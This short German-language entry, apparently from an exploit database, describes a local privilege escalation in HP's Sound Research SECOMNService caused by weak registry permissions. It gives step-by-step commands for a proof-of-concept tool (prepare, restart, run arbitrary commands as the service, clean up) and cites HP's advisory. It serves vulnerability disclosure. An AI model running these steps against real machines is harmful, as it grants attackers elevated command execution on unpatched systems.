
HP Sound Research SECOMNService Privilegieneskalation
HP Sound Research SECOMNService Privilegienausweitung. Schwache Registrierungsberechtigungen erlauben jedem Benutzer, einen Registrierungs-Symlink zu erstellen und den SECOMNService-Dienst zu zwingen, einen beliebigen Registrierungsschlüssel zu erstellen.
So geht's:
1. soundresearch_poc.exe prepare
2. Starten Sie SECOMNService oder den Rechner neu
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*another command*"
5. soundresearch_poc.exe cleanup
Referenz: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051